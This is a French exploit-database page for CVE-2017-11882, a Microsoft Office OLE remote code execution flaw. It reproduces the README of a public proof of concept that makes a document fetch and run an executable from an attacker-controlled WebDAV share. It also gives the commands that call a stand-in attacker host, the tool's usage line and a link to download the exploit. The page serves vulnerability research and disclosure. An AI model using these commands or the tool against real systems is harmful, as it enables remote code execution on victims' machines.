Exploit matérialisé

CVE-2017-11882

HIGH KEV

1 exploit(s) public(s) pour cette CVE, 1 matérialisé(s) avec leur code.

À des fins de recherche défensive uniquement. Ne testez que sur des systèmes que vous possédez ou pour lesquels vous détenez une autorisation écrite. L'accès non autorisé est illégal.

ExploitDB remote windows

Source

Microsoft Office - OLE Remote Code Execution

Par embedi

Comment tester cet exploit

Exploit distant. Ciblez une instance vulnérable isolée (VM/lab), jamais un système de production.

Code txt

Source: https://github.com/embedi/CVE-2017-11882

CVE-2017-11882: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/

MITRE CVE-2017-11882: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11882

Research: https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about

Patch analysis: https://0patch.blogspot.ru/2017/11/did-microsoft-just-manually-patch-their.html

DEMO PoC exploitation: https://www.youtube.com/watch?v=LNFG0lktXQI&lc=z23qixrixtveyb2be04t1aokgz10ymfjvfkfx1coc3qhrk0h00410

webdav_exec CVE-2017-11882

A simple PoC for CVE-2017-11882. This exploit triggers WebClient service to start and execute remote file from attacker-controlled WebDav server. The reason why this approach might be handy is a limitation of executed command length. However with help of WebDav it is possible to launch arbitrary attacker-controlled executable on vulnerable machine. This script creates simple document with several OLE objects. These objects exploits CVE-2017-11882, which results in sequential command execution.

The first command which triggers WebClient service start may look like this:

cmd.exe /c start \\attacker_ip\ff
Attacker controlled binary path should be a UNC network path:

\\attacker_ip\ff\1.exe
Usage

webdav_exec_CVE-2017-11882.py -u trigger_unc_path -e executable_unc_path -o output_file_name
Sample exploit for CVE-2017-11882 (starting calc.exe as payload)

example folder holds an .rtf file which exploits CVE-2017-11882 vulnerability and runs calculator in the system.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/43163.zip